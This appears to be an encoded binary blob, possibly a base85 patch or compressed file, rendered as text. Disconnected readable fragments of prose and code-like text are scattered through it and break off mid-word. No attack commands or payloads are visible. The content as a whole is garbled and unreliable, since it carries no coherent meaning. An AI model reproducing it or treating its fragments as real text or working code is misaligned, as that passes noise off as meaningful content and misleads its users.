z!8iyQB}TA+JP^-j04s>a?B58iB+de>iy}e$E^Oyr4MIe-!Y1(38_3(?Zy`#FdM~s_ z?a((ED_ImyG~48|e=!g{Oagm|B9>tlKg(ce=i-5o3N+`CptP?Ch#dy|rIHQh;74i6* z?pYV%W!Go;mhNTOM0`W{tn0+c2qmT*^{k6_7QW`Hg|DzSbyMsSt|9lg5UKd;dmr>~U0)+yIqh*E z#hWQU+4!_Il>Obsw2VGhrl@wH4!KTnKb|ocSY#Cds|%lp zc0}=cXa^N4r8ujehsuil$E@+}r}DwOgzz7;<_p^Yc&X^N=Lh&H4NC=m`i8~W)(c}@(bkNq(_K|8YEiZM+*pgtne8tFUvV|{%JOSn zZM>8QYD@3A(%HT{+h?+WDEld$*xQ#wm}pU%T*FzmupG`Qu&mn$tmv);jKYrY6lNl@ zihI6wzGf`&$C^#tQ@H&vwdB^0?xon7p_@CO{rT))YE5r6-IdQcg?B;i?3{i5ad#ny zP{<(^TGwkn>)y|2?dP-hv;9f7ImtFB+2*7rYwdHNv`W=_+kKktPqY1b_Md0}X+HNn z<8=<D4}+3#^t9zz&QF-9}yamkz#MJ=;Er^Ja-b;K#r3Ok5&c9LJ8=^2F54i|Z%O4a8* zbFFbJUi0`+FP+68r+10hA*oVzn`e;IIe52c1j>A$XS{QN|HGas@T0vs!+M^8&5li< zds4YArMh1073)rSQH$#Cq82jOx;rJxJ|(j2Mcdaz|D%=dJaO>BTDE1;m!0NX@g3r9 zpS5s63NWo#gjLS!c%Z#q&g#RM4a{{`Z+Hlj=~>-@*lP@UxZN;>+5hNhd#!cY04a0cV7-X(?uvtAhGorqLfVxsG@1&iQ+WY^2y9G83kCirQ0 zy&TuBQEz)^vCS;ldKeT#$!TLf z5^IY?4(*h)M$0?)f6&RWIuETQGORYE1~`LoZ4L!K^Jo_2gGP;aMp!>0%_FSbQA3?> z*0~i=16#G8<80;-G922y?y_f5>`c#DC%(gO=OWTzV?X+`#~-pSSMS1ioN`Y2_~R_c zZWm6+g(scM&b2l;%kkpdDVI5fat@76mW!|uAzRo9@tONBIhJe_ch$M(Ov||BbapzY zM#=)GVAF2T6!fl@t^Kg9BBu!2MUHB!sifL}KvFB}FAH5AdySP5l6r|k*C!jFkw?%D zUzR7i9TuX`zu`UPx+i-FB(%pwp^JLOas>obd%<+$b zWRvT9_~>~_{l@q5vZq)7-(`X8r*(D2T-S&-ZeJzr5ajdKl=RJ+&d#FPaNjBMFxuyK z9zDxhJ11nhw_7jOFYTicD*Ecl+}-#17P~%rtAQ`q<@9R~e_F2uA6<{=<tj(YZ}_foUaq*P4J_ty zp|i7Y%WmIww(soJ9ruARQC18;4Q#yP3!vOe{)hWrKrHLFeDCWldnH~6{+vRXIRJ=| ztsu%5zO#pvLQK;)7VG$iSX0d=d;!gMmy)U`K+A74+i_(Bez8fpZm#2n)`h2 z#^@n^?iULOL0%1eS)8z{EKEVZDCM2e1EhK{dv?C`V(=76y=5GyD$Y&qYO!~5#RI{M zy<6HJ0XAdo*#15E4+5!_KnGrkJWmANUGAffzTaoyPeGbDc`UJIt4*%MOFc^IuC z1u<5UsqSNMH4&-q$9q-|@wvb6OKBTk5nt*-no*MOA(_}4(%mZ)UoeEd4WwLm=Tvp) zRHbu`WJ0^sPIuQIo)t2bwdq_VqqID8Ur|Upmw!6f%S4v@tjv9(cA}4Y!q;rj= zb1mes%`C?Gz#BmuT}cJiL({pO)7@L@r@>Ec5@%svlGXSyrh&GQhJA3~X|b!E8I zdd&zWKkfUY@ZMGnLi6Mu4VH#xICa{5ZBxm-9Gc-?(sLCoX^v6AmZvc5h!Pvo12^?j z%fyZ~R(pJbWxM6{+ZB4zD!=bg=tkMC;<3=h?(g6IFf*bd7sR$B?i! z?)*1P1KSR%5?0eQq+=|QBsD#4ha`k0y0&1)=0w-9*ZYKBv?^>G80K?Rf0)lDb`fzk z_vLfRZ|1U%aA#xJ{RnqM)X`?Hh3)eEm`!1akml;*ko5G~9+uDL-`RQc%{^gfk)8u# zCuE=c6ee9kmm#?jwix(h*hTqx;%{Mv@b9$q-PFS`cE5+bT;sD2$=@=Z68qt=B9FLV z-xF<}L`qtV)0~p+?%%3gn2S;$c%DPP#52r9*|G6y-(|T8-&dgPeMyN+I((|NrXG96 z_7Y7!^=BLa_CI^oc>i9CXa9Ic-lgH(ds?yMv2SZS4YFr7STva6-j>lrhvSo z$J74bGCqzt3M^XqOk(GSZ_KG}ozf*)*N=AkNqpd2??zC&O|Dt?lTuNk3AML5=@l1$oBD!(x z-8@%^<4(cTbK4`4BRnTYW&o$-+d0(#M+L=l2tI2|{YjBNcmB)NM|GTGiF%y=ri^R2 z?On9uIxLIKb>_EP7fIL77Wh}T+7(H)7LKzPY@?ECxRgroA;!d|ACws6)CxWx8SSC5 zKH5WL^dQ$Gz2dAy-!ISo8ky&Pv|oZRj?<9Bm0*W+LZtt}Vt!M|GCZ+~*0oD2ESd z5S52C;C{re{zkK?jXt_h$%Q0JpnU+)jJC|mY9!gq>nX= zuN}G;u0>G@xKFoeJz**5H=l70uwF@@RpIS>OK(PR&{~{;CE6r%(Z2L4U*wP!yAmY5 zO4kD(vofsGqehgrpdAlMTtYT*M#9s;wh42AXCEWU(ei`~5*7jf{TOM#E>Ad)?FTb% z!dV&C?=dw0zZ)$f!}^H*n;3f!vLH!9?PORb8Q+Q_|3${7W$>1gA0*UUzuFjp_=!WxhQ|^)u_xxU;dlT z%Fqa&RHls`bG%ELMDK*SuF&p&_qVVS-pJ|w%Z%{8zB|R9<)K+0&3pG?>|2`j8?bfq zZ(*mzp@^|%_9J9V>}Q)I=f?gOkkIu=*9gfe_KVi>`Wwnz#NEMxGFRMnwjPInFTR3& z1m{*Rd(qlazX@p+Qao~PpWmEDdqIRsoDi*-3q^~T4`cJmxh{G{w4l^##0K4;60@X&m6gy-WIFF;N+ zMw+=%FE?|^m9qGZBKqnGcYePpahg+d8e>Nj?(N4rMF{`yaz)-}`qnS!bJy!S8?#fo z%ka57p@;OjgSL@`_9vyglBVVOZrwS}dGWd95pua8YF+0!J(nP_>s<1T-h*GRx$nBf z@+*+zZCP%;SGe@fI+UuWo(EnX?rrLM3giBD*sO?Z>RGnRUA`$SgUT1WXf4aj>vLX;{93ao~V8KLr6d6bV$c^X#3;)c0Tu5lzE%glBdq3SnmKe#j@k{7!{v#Au5m z*S!0`wu@X1Flt2GJc8RaTH!9W%~utul)hv9iSbv)8;o`|X@eL`FqUSlz!<|=m9Z9M zUB=jGnrB9dDja(ij*;4l4GG12!t+S4EzywR>KK7?!@SqKEHlAZo9%0}eJuQV$DHkB zA&ItPZMvFjYfM=2Zgd>JxAsMJiruWRa!86z^OjS>`xfEXSWy|zA&(ELunk}0L|ywT zVpXS4R7IL`-38p9n_^$IqVOg9i`Luw2(y+D-r19oT3R{utBos`bLzyms94}s!1_r! zr$c-r??vl$eYSt0HNuJSur3mFst%{ZPl==hX%*|?tggU^`}MAvYPaY#yy8W;V{Izc9#Tk1drqcu38dPzW|e9e;cE%$Tn_0rtsr%0ZFf8N z)%=Q??9YUMd&Qx)+_*-E55_v~%(4^fxZ@B?4|!7CmYv3{6hk3#I|b=_xj zp1otD{n@-tcjVYhtJe{0+~cbsfPW==sx|Im*`MFB#=U-Pw6(@fE5oz+tRkmd>K}K^ zXa7>hd@Zj#uGyVMPH@pU;HF)Md%GicoG_)g?4GZukY-P zwVi9hYd8&?8Lwb{l4fYM>Q#u=)kH)ww~nHc#hWw?N#ol~81G_P(%a%G~d(edY*2Ls_X|LWqFYVFW z6#c_@;oZ6Abhp0^8D8-`;=1AOj&{<-9gVexCL)uynXJ9U+Dz7-h94^xLDx3pK852g za=zKrq|$Zme{)~YN=44p&66s5ymaRkg7oaPOEE@c6!@%Cw6|H|PnEV?i(+rUPuJ9T zYg&f4GR^nGDi>j0C91Lq_O|eNsV9*lU3^*Dgc>LI|-agm5eL zu1FEZ@@U2w)>dI{4a*H}8_2^%x)llRYTbwXm&?Op?n zac=}xac>3IaPI`xcJBe+>wXIu>wX8=#C;4H=ROHcaGwIExIY87cAo>Lx~Viexi0|I z-QNMbx_<)pc5?~4xrE)6ui-2i#gcI>ndqj{p6uqbW$i51&SzZ2HcQ=9FU#37-%Ta3 zitRVB{btTxA^Z36S^N2{gM8KzKI;mX##NjfCTe(oMH}ek=~LAw9`I1h?Bkuv8qxW^o#-?@r(x^_dEeS>B$Cu?3n>P?U@Zc@R>-?5}|}>`TDf_GRF`_AkI#`*&ayTU0|0+BPu34g#jwC4jB% zQovNZ9I%sp2Qb~f3)t1J0qkzq0rtjS8m<((F>s(A2OMfA0*Bl80Y};GfaB~=z=`$) zz{&Q*z#O|5aE6@;oMjIJ&aoc_Vw?dkvd00J+LM6G?WchG_H^JXdlqnwJr}saURW(m zY_z@Tg*MwuAbG=H4lJ}+0{7UjRf`lwTqgVN^^hF2Hv^B@+kwaJ-N2LfKH$gpLEvfo zUD$uh_Gj$(;6Ka$^Y%y3Ua(ICFWF~-KiXdbuh`!Lui8HXuiO8w<`RF{)Qbx5Z}3}Q z>Ki@YKcSUgPj%Fk*H_&oLcL@Y?hS*al(!_XthX#M+FKDA;jImunBf;!Oa?d0PP!ylsIg-j2Z5-gF>V&w-u1J%Q=ozQC^DfxzzGVZh$rk-$vv zSl~eKMBq^G6yR|0G~g)j%<7S%z$?+_*8D}FdJgRt z9Orz8a}%7OfGN(ez}AeZ&UN@ZIaUp%#PI^VI>Es1PB^f)^Chm+Oo!UuKqm^4p$_#D z!yW32Mmco7k8|kSpXgA}FxjDAVunL4d=~rXuzbEl*Zv~5TKX9NN1RN@d0*A}TfTQF{;5a!NI8lxR=CJ(?wx7lJbJ%`9+b?4KrEI@k zPJn&Bd;+*iP64iwIlv8aI&iam8u==el;%B>(vSVTfd?g}`G}<49ha2mlakW>v82B1 zw4}VBk<@#im(*`xkhxX7;zv%^6;9PvPStfzmGDt6JiggAkY8UK?7RCYuHL>mh&|J{ z065V10+q0D8F08SA2`ZaP$N=|_EFl#`PM-)(YFaW+4lx8$F~bO!?zbW%l9^Lj_(L? zzV8HZk?%v`Qs2LT%YA1MZ=R1@LcZ@yNLKm20j}}=0Nmia0^IDo27JSJ1D3nkau26) zzmH49N9AzDNA-T(M{VGwFAA0)u;s@-Y9Xh6)LPE?+%-`qJ_)?w3k6>CMFM~Hl>uJm z{9Z?XBgG$_FA-FLcs)UsYZ*i(5E4Xr4-caJmI|W$mJOo(#spD0R0*PTs}XdivQN}x zN$nu2sX9SaFZTvfI%9*VzM2G4eZ@iU6Dc^$CtCAasch38=i>d9AXhEySO5$YQ}}t$ zjqpc`Ev((n{(r+CCayv26S2V*PLp7YJudhfT5pSBk|zY;!2BvPn8u)#;K!>VuHg2- z)ZnNZKG7-ocZ^f%!C&I6uEEhYeWH7CC1CI1YQW6kyMY6PgJC%|I2<^f{iA}t@Q(|& zfD?nSSNDm@!S}*4hqW^pXEDwRZV37O;AX%@!STSQ!70Gy!EJ!~!5x6Bg1Z3M1a}2) z=5)S+yo8DEoc==2(H_{NOD?hGN0wY+$yJmIdfH$r ze-T3E?+KxLks)-wgoM!b5*|Xcol+rm)szjP*-mr_&30l!Xtq-&gl0Q6La3$H4x!o3 zy&*K)i4CFIPLmLt?Zk!9Y$qXvW;-b%G}~z%LbILJkhjp|wGW|o-YJCUJn11c=jj?k zbDr)YH0Q|-p&Ship}Fz+5bEcbhxDi!De^)n*ZCozVvJr3zfWv{4ay4kKJiA#HDDof z;S+n1HlNrZLiKwvgzEQ52-WZL5USskA#RlL#~~7UIwTZ$hVgs|me|FGkTSqaA$@>9 zh715+385Ol8bY;yJ%nmpgi?)rLaD}O=up^%gpL4)hmNTkBqBn6wS1yfDAjV=P^#tV z&0>-sK)CJ?7P^zQ-p>%ii7E2C>x}iN1dJU3yS#mtIA0#J3LxCTM z(ui{^^c#%wpN7)te+D+_uMiIUD};moiqHLy##)M#eNY+@mgUN zf+viw5gA5pJ|yfL$U|8k9!5Pw1p7;c^+q^R>@OQeS3z`G4q9xbFiKC=FzR_~LW}xh ztjG8+5WA0rdC*gxVmu3s6koFZBA@jg`!B;U#UF@W3abRA!7f4PMwFm-UaQL_Z4zYa^9leJMI?QYo^Z0t^!cQ6%3IMJ4t@R3u`oSDIpM#rObY z2IDXwYN|Aq@MxCgGA>}uV=Q2_@1)RtcTyYp1Ad>V7(;zsB_LX3j0gQp9hNj?NmEE% zA`ysqV<`4EjGci}JiyqEu}92}%8nQjQ>K<9Ml+6QoCJ&%{VGuk2UVgJE`UE$tYqBC z7+RSm5sXnlmnc`6EE}?=M-0 zuzQ!V+7Q261hLydq_Nvv3}iQ1$1VT#{RsN{<^Z zrH5RSlRHzyr&ZGWyWmp!B*3NgCTe+a%`-HgtoanpmusG<`3krcPLbyO;La5N)6Qys zPV;ZzE^$9Hirf|M0i!IJPAA-%;<2)%ex(7Z46Ze6Bmo(=aL$|)BvotLNOE3~{w^L=o4xT8Cs)%+aXnPN%W zMYw~p9)ee9xEw6FT)%K2GOY3XGrTipleWKPUv%XK4Hd^0X>-(~N zN!lPS&t{&VmaF*+=0m#dV|QwoLt1`L^NVmPpKhDdH?@loF7dlGuc>(gTxvhbTHZ#> zduw@LEgz)ileIjX<;%L{YWWK0OVSG9Qa<;<<#q{|%4r|#mvuR$^=GvHtk$1nJ<3_@ z@ydaCPJG{%Tnfj6%jFH1>ca<@;)&7vN?MQZ8v12jYQm-bCTM-4)+e)mRhJCS`!ZjW zHbwJn&2!;$JJIqLT3(>#MOwa(<;a(opVjhnEMJm#9`5^;e%$?Y`r%Ugd~hlJN?Lvw z%QtqZspW}Up3L$cUD{}QhL-o$@=UlC{vfTNqV?IVNBwAdo|dm*`Mxd%aH;%?w0s|2 zx<2;9rSQ&b`8l}MzTLQupmN7;iFgkESu)&j#gQ)LlD-YxC03J6a#vU_Gy7_JHoHsG z=o@g9{}r0=WA~3Phv3qATe+g*V*?cc=AWCb|2p(d?2v21)2orD2lI z=O;5Sk={o047e0uUo9V`<&)u3dzzy4*{t`b=W6|Ot*3i*PA}_Er4_(EjC_;3&-yfz zT&ll4aJiksCHsAFDcy(QQaO?PzE!^8S*<_E`m*U4;Zi;<+|AN?Zn!f=*>oRVl2_95 zyR;lP94t@N@?2o|ZnFLlb7vl3RdN3RIp^HmC1Fk2*C3!`1PNgg1x!c+ zT*(4iSX4|xa)C%lAd85K2Eihws7R42DquiF#0~eQh7z?@Em~Y^sR||5BK1qHUu&(~ z@BPfo4Pp8A+u!T;`{M_%=ks~yd7hawXU?3NIdgCBd8pus=1`%>v!%of?{-QH6JaT* zKP>%t0IctSYfl%u(^M$D+xe|#sYkK(m%$QWZ_^F1__td7URd%Ai+!K9AA;q$hbXfOslu)y|A=%B2OPWKP>4~ zn=ZCo3QK+KZF-sIlYUPUYiz{bQ3J`hhRDW5$hKgzv^J@ z9xQ1eEb+qQeY7{c+xcvo@Wo!nbYY20*Y=syg(Y1A>vo6b`j=Y!GHYKB?{=P>E-dkz zt-V3p`_2#+`&L+vzXLwtd>auy=#1g6Z z@BwG>oPIXlAC~$JfF)kucXz<~WKOE}r(3_U)F%wf@rtd#43>Q5u;g22?aN__U#0E& zb2nT27Ry^YgWml!gpYU$xx(MlzGbk~V;L;hVL5!zdt-*M z#0g8>Dp=w+!xFc}asw>=eyjC2TKgW$&DPFCkj|HAc>pZsh2dlB4|9vHy%cWn{xL&X z&cEK;8(=xk4p{OvTKisWKV;KK;QrouGn-+FJ8IeEc~!;-I5?B3cdge9M_wVx#{al#U}50>K{f_3|e zpMG%!KIn~}B`op65`Pqyc|=(1=XIC3(pkb1CoFL~?W~y?Mh*ZI||GEE3Dg--|9H%?Z484C0~7f9?O~N@4K}i+>O- z`O~$(f03~Gg~hMaT#qnmDW_EY)L;0ZmtCaO#0yJ&xs4N+a_eDf@8z)M6F%rIF4Af8 z2}{0Juw3uWu*5g$xGhD(QXgT7(`o1Rq8+5AKEiUGMp*Lgg^xJz76~8pKGiJwB%SW- zSiBFGe8Q6N5G?tQz>-h+pf|Nxc(U(0&658pY02mD%R>jfn~H^XJHz4+!BSp-?SHsf zShutF4}zsXrEC9t#lpIstv?J)eqo6#g%5hFL|Ed4gJ^e@eReNf%ptiMHQ3WwT8;Sbw8UAF{0YO>`+I)pD`r>|7Wv>#V;&=;dI~Avk$=%cLZiWm@O=E!V<^NqG-PdGY^ys zi(NS1H!3&L`ul7D*ivEf3yZ%TmVUGcmgDS$<$522zf_$jtG%!_-ieV?Sgb_<0Yygr(DOMkKcquM`tp>Ts&xX?>9#|y!d zPq@LmNwehZZ~cR;U%0`0VWF`2)2%;j{lX32XA6bJUuym3u+&#r?8~fuIV}Bhi%mD! z^bT0Ahp?<0_rUr(S^Hs|R{f-%`%QLW@rPi^*UzR0!LnWtTf4B7S8mh7dR=;!=^u%f z(_yJs39QTQZ|dJ47W*Jr_Xk+_2e`rOy(kRJc?!#Q5k97tE-HbgoKjf&p|I4u9MkY8y z1*Jig=K!(2TML-$#)2r z`W=CFJz(kYN3GvGSNi3SQek=C55ZDye_`r90G9ma*1igs@`a`R9k7%qEa{`xFDz+q zkSQkwOTIyt)2%%NmUa!pQckJ0m%;kDu;g2A?JKN(m87{2J78&-eXu@nSdOdCGv#`) zoJUAl&da6;!MZ-M#HU+(1}w)7OPcaat$hV7_1tRxO_rOj-IrwY^@nx4*>r~GQfv3l zH~#*X(=C@;ZW?0B8E}E&R9MQ(u<4AU#=aui*2i)aEcI@-+%(LlE$>M&ayKX44t4v}>8=t+0&a!jiAa z@?luo!5L{d&2ow5GFajVj53^Ix!7{O<;|9xEH_(DyU>(dV)?M;WuuLKg)rrBvFS!w zjwdYjZL;a6i;TV5vhQM(-fB5;o) z<@z;S_T`%N0LvMci(#pMnN8Q*^a`8aYPl)OQ%pH(s>zpVc?Eoca(sD)2f(`jSgy}E z@tZCC3QRp$z!KLeY4SJO^dXxrE;RNsSmHKMJHc|F9J1-A>88A9SmFlEuyK}G%{23p zW^ZGSaD%tKW{0(F#xC689j8!goB>O{i*35hrpsoV_|2szuF>*mTNgCKiKEjL;JA)8iL%k#*uvV5@aua+|`Z?)WPx$GJfw;7gx(`dQL+SL-{ zPld%_YoA>0(&QtGB$>+7H?Efa^_MhGpMUlOA9> z!}3#>ISw0NQaaYtEf3xMS%S^h_ae6&B=hJycL$4EFXfU9r&46&54#%EoZDW`4Vq2{#47wmYZQIH{+*Fvf}X4&_kjgRsU>$kij$`2X)Ay~JsO{<-@ePP`%EN56=VR>uRzRRBHBPPDd zaKd!z20)-izeOt zfvxW!3~#mEWcd($u`f1v>p|mhvfTWkNjHCF_|Q>_OUPB92|M9L&AoC{H4n@!);uJ) zUh}Bj&6-nl8#RY>4{82jQpRyp-U`c2mIwUJ*vl;YzP4%0TP-(5?cbPnY8fp3s_Z+% zO_qJ%n{>txhMO&yDMzn!o7?a%aqZ6Ka{KcSEA+Op(b5#`4BAe zD%o(o<;|8GEg!PXm)cGI2*Zh%6~6#4WwXS}wL+Z+V$BF6m}xOwt-; z6S5Q8hwXj%W8_ohbL0!;8{}KWamOSDkhVxy_oAeMNVc1r^q~Kuq=%6wk!O)cKe zq~F57L;iq#639sUG%z9QXkb#(=kRfOdfbGhnaJgFmnIbf`$Z_OLA#0I!$a-W0 zau>1@xfj`lY(W~3?Z^(~QDisr6!Hx60>^l%O;*y&@E-UzZ2QpPME0YJr zM|vW?k-kWOWFT@5G6+dR1|!Kx3Niv2g^Z?*vB)LpX-GPHCNdE{j7&zdkz8adQix1P zW+Im(MMw!!ibRmPNI5c}G8Q0J$ReZ$sY4dyTY_ANz7)9;S%xgfb~CaPS%s{|wg$cp zUWcql-#|Ou1>Z}06TAi92Je7(!n=^iiP?=jgFJ`*1#BoN5pBz^+IBh5E6%UM|vWCk$%WP z7CB2UAO=Lgmw~+(r?;`IbA0P*j50OuhPm$y8E=u}>xG#~f(7$dsHR&7pThiad zKazIZPfhaLUz8Nn{?eoX93q{7-WloHK0m29+`oNR(m*5$8I4>_+*l;7ePL2IJQc}D z3Xxg(i;x>TPD)zdaYB+`Js0e8o}=VntYbLNatFuN_CBOz(F);Ic$yBoM?3G;c%Q~i z?ijD!TjxFKz3%y90XzhXUsZCkAta3xf5*#^CRQUj+w*vO|}LBB2{Xq1g7Z=fx(+X2o6^ zyFT{$*v8mbW6zHp7I$IXrE$4&rEyhp*T*f7+ZOk9Tw~k^aX-Yxwi()HVw-7g*0uS2 zo5Z$*+g{jqT-z(#*0jB??IUfUY`eGZhi$)T`+eIX?IyI#Yj;h%U$lFxUHkS|wl8nL zqW$Xj+uA?bzOnrW?LTe*dHc2<5;_d%kka9@4%Hp*?eIv4=R3UB;nNQP-Qi#SL~h%T z2_3t4yrN@W$Co?)uH&JO|LoX3eoFkj_{#V-@xO?FCH{^0cjFJnACCV#{>ONKLRLav z!pwxSgkL87H6hq3q0^*J*L3=6r%j!wU+xfQ6>pSo2{Oitt z?Cf^g)MZ|uK(=% zL)UTLa=PVpi*&2$wzS*NyFJ|Pzq)R>-o#vrTi+vjr74~DvtNhv|%Hq zEt?TM}6mD<^S1X!QTd(%Sp)^;`S?l#*MQ z*?4w8kI$CR5p13JL=3;nqU0^MKK=+RhT6BGmhsduL3O3B-O#$D^#psV9;!E5U%p1u zkN;<>{`?=P2B@>uIs8AD|AY8{9{-d0e?I>Q^M45cFW}8VL)FD9S&dc0xJOg?Xk)m_ z=AA-0YLv=V7pf_|r)4S;d1{QB$$N*cP-(o4CWE*BOj1SsK3B1tLCarG%a_yg6>6@k zQ}fg{q?V|w)U|3p*P?>!P|0#7b<~w1$E_JALlst zt07K*s`G}M=Dg*Go!_~Wo%h{b=L2`TbI_gPeCW<{KIR=he_=eX@9=ac`|2HE09)&W zI?Cr~r&|i*U%`G&!f*ap?@bB&i8;5^J79XJ55T#dJ_3W!9|22Wl;ggY{wdfdQ}8pb zhjxp8e9JNL_X7pLo^%}C*YMxqzqWpJivGuEB!1O(g3esQnOeVg><{Q|o)XL9C;oS= zd`n_lqp6j_+b6pdl-hi05d1JrB5w&xt@h3mJ^fy(r-|&JC6=~2rc1HtUr!Ru)|T(X zqQ{<1t1f&B?>dF2(c->vn#YeYZyp1zW6 z|3L83o5eD3z2F~od+zv&=%)O@W1_FtZFSF^C+tt?GW(>SupIrB=vQ8wM47X+zWXI< z)iotj|NCAOjNK==_FTaczmzN6`C8EjYYf*UlQ&#*A$WK7CEzPhh}X2$)*>n2SWL+Y zTQZ1Q(;yhG$<~+$?)y}ix zaz^cSO~x*j(#*MZuN8gfNR6EYL)RW4($uQQ%W~Gg$`yR^w^HXFcSzfI+a#7Fx-Xg5 z+y9iyTvQn4%{sgfcyF~Dn z6@sQFA8k8E-lPY<0L?juYrbyLuUhv5dbq|nQ7{fXzjr)X)X*Drd&|{XpVA-w&%FkL zE34#8cj>ck>~#T_?|NPccGLIW#rhsBJUb0beXlGqbZs73`r_rF87FtYRDy2Ky*Nke z+4x2TOQ2#t_@#~!Yn-@$C*J2rJPx|oJ_Gi8Q0h>k>(=!Ssa4hz=_h0LU1REhdd(N<(aF^L z_j+`F^XiuzC)gQgvB*eqjg zOyzzef2$*VX*4l!E|=Q=VUxtPF6X?f4iJBQ)dwxPGUrLHs^)!+#guUGyiZPvc}2&x zF8@b8B3-5X_PAkEf;md^n9s;->fE|k=D5c4&H|~kDa~9dGlu8sarN{uJY4fP;_3OI z8MjMc`~ltnmT!_$=UgL4pZ22QftLj5)(D?Wty~e6D`@68)2nCd zd2QH6Sp}Jy?muq<)BacK^~sO=x|@64)PMURIacelFl!96-iX%oJnH#>dqmTcW(;ZF z8_hbv z(cX;w$Ct=D%B%`T={7MlyP50F3~ts2X3bz`c2fs4*PD^VTBM6^v{UT%z%;?V?ZKDfshUf|u%CNee{(dq2U! z=L(j;BKSX`NrL9<|`32`|yrEI_U9Sr+(J_ZZqL=8%#&)8+ z+CEC-JsSV2^X6%N;4+EXsLT0kx9B6E6zrn$GL1{h#qyZOz;&W0=)8S?Df)vog3rGy z_|c1kZ;cha@EXBiXnU}m=*zAb>^nwqQl{WX+WW39xmveasmAK7#CyNSn>4P|_*WhI zy~Zz}m8W>KQcY_38SxL*-VU03+&r5nah4;f6(mw1^EkgAC|44*kaht+~)YPJOH}vZw9a&b@(Mw z^%>}r;+Hbjk4`KWx)+uZ`-c1mqT2?G3%cxlw#Bl*ZHJ{2blC@OkL5bI1D5MSsYORD zx47|Wt3ZA^kzGfAMc3_w-EAi4s`X-Wstx5>x1QwpsV*WgX#ibB9@_`%l>9RawYrZXGMmAF1wxm zu`Kcpz)}sm?0gQyQsX-tOD*WK8+s0wXME>kc@}ilMD{>~YI@9hSZ08{-Jac0`Q`5O zvD^!~s*rtAM@<8R>b{sE*f)VLdz=?wp9%77x$KrY?0+Vsm#||hJI^WTrD_Cv8R)9H z?4CO8gN{O<&km}?9_VQFMeL+Hsv30p=D=9=T9DshRhOV&3%cx(rlDUCy6ldoqt}D- z=7UW1pMWmAq7%_qgDyLxVf0%;m)+6H=(mINc7$y7J3v>hXD`=LcY-c&N|=g%7wEG8 zosWJG=&JiTdq-^oUG`(Aqu&p@?90wX-v+wsL3Vn1&nf7#S33)R7wGb4g(CFFL07#@ zt2n9=blJl#Mc)g$>Q(lL9rYUMs^8E;j(Qz*)jRAJJL+A~RqxSSj(Q(-)gRRY^bbK- zeZ=0eqdo>*^(R`<;qUeqp?^XvI_l4$t3GAt*-?K1UG$>8rts&KfL}K$o{c z+y)jpYq3lNUEYtr4t)mbs+rDu^vgh3UCvIm!@D9jpwDvdLcbDpRS`Sat}1r!#Zm&g zYPPcpy%cnLpTrjQ2}xyhOgEs~@^Axz0lMn%&im+Jf{cUgjyuW^x+<0(a#zK%NA9XN?2z-D z_3mM?oqL3s_8`~S{RHgoehT(s_uN%U?4P^peD`y3uzMUF=6(T=biV{gyI+A9yI)hn z7|>N?-EYvxfn0s}Tl9$_qlf!FdKh$7w)-P`4(O^}*WvTdDWI#Sx*mES=&F2|*FdwA z&x?cE!w;a(1NjY5H-vr_=&CALK0{pyGFG^4(W^nm3b#FaE$FH`whg0Z!Q)GWajnC(LIpf<;@4%c?-byUKREZAajkk2t5&WRX?u={VdSsw}9%< z2Y`$!-eUB#K}HpC3HrI9t9T1A`gtHd(_4yuK1k2>ZbTmfy6OUN8TwGrRmt9R^kJZ@ zF7a+gPX+l!T5l!#c+llHeO94ofUe5)R-;b<8MVAM=#xN3E$=q;OF@^v>0OJS1=5qf zb?7-DJ=t52J_V#FdmF$!?=CF)pv(JFHli1TuA1iEi#{D>uJksc&jej{nYRV~a?n** zcn#>YKv!MqZ9^{t8TY*H=p`WIp0@+N6lC1#yxKr`dpB4&wCWT9Aw<{9!H-K zx~jt44KDDW0&n!50qc1OHT~av0bK39MC8vvW=!v8@K$dRc&E1)`v#Da(0c{E%Xn_Z(`X5y1d6_Kl&DsyMs4DIsBE*+vr=p1L)g8?hfx=^z9&b zhxb1E4v@RU`v83>$lc)`MBfE+cX%J7KMFE(dLM&Nd56JYc}Kv#-Y0mQKv%uueTx1n z$b9M@MSmUSp7M@?`@PS>x4h%v+uj%8hu)XOd<44cWA7{QkoPr~!yvP&_YL|H&{fUe zx9FdMuKKh0J^H7htN!Bsh<+4ghV>km85VTaUp)`~bC5CIi$OmQGKPBr@Cz>l#`@yG zIA2?^jjuh}*4Ghi?@J)Q1IRkl*BOlWbp;cA-N6)JPjI-eH#oxA7aZy92WI>FgHwD1 z!2;hoV4-giIL(&?PWKH4>wFi0SNoE|#l94dat+8@%QphN);9{g&NmwS^&n%Z?_%%< z-&ia+g7hEXCFsjQSKZ`GLthTMYK1Qy{btZrKk;RPD}58eTYO<~m2WcmQ(rdtoR8T+ zJrBC-1>aQk7eQCODeDrTYm$&sSK>r@(c_F3> zJr?9j#VkT^19GKeYQSDGby#|X%%m}k(ffj|nqroq4+LFxcFc9?=YTHn?^%jI2z1qX zF*l+ofy}%y%g_gdt{M`v9Q^{2IXC8J^f4fFZp=#baUi2y%qsL$kWnsXHTrmvQ7&c; zdIre26muJTKFEqIW-a<Bc=w9@tAiW}H6Z(xHS3hP8`pqC$Kc)eFCCJr}*@nIf? z^D_8e%pUOln7!cdV_pG2hk9iaPHfBHgUCi6y4>1Su{s_9t z^S_Jk16gJH-v|Bv53mG4o-X|d(L*5jvj0Q$IFNhU|1o-7keShc7`;8nQ>6b0dPk5u z+W!f90_gH4p-<5}gRbi0KMHpBAH&iOHyl5J+$I|A?Lh(i{DbM{fk_jedqO zb%8$y%TSQn)*nD01~L};L+Han#v*?l`bf}Kqx@~rF9caV`rD&l1k#`V9nr^t^k;tp z`Z$pO?C*@83eunbUD3yb^k;u}FvH&yOD4!_)889?BFJjf-xoa$y6RGYKlI6<%UhKC zqi2Jz%JC0G&jlG9{pX-h1-U!?gV6IqMoWJZdLhVY=^u(bnkXhTGiM{~juJlhtuL8L%{bBS)Aa|vIGI|Z@^5&;(u+E>0wVtAWw7to6#QvS(*D+qCX6>GWV}Se*|P@?q7}m7|7F{e+~K*AWw7t z+t8l`S(EtJqCXAtH0NK3{w&CR=Urv{}uE< zgX}Q)Uqk;3=&GasedwQot~%y_9sRGMt3LO?3I3OVKbGSlv#|ed^e;f3Wc>%wzXW+& z@xP1y73ive_}@qW8f3)we}MiC$cXJfi2g0ei0%In{duJkh6101v4P`YT;L0^ZQx6=UEnK9Xb&=O2fjw{2r_O5zClj_ z8Mg!9qIU)vw*%j!cLmwy3;c-Q9b`8z;P@QX6J*>Dc<8-B#_d21dSB4xeQW{rejwv^ zAO!Xg#9q=3@{Bfyz~QAAz_GI9n+qhA3sat8RzGj%1%$Qc-mUJNpF1};IL 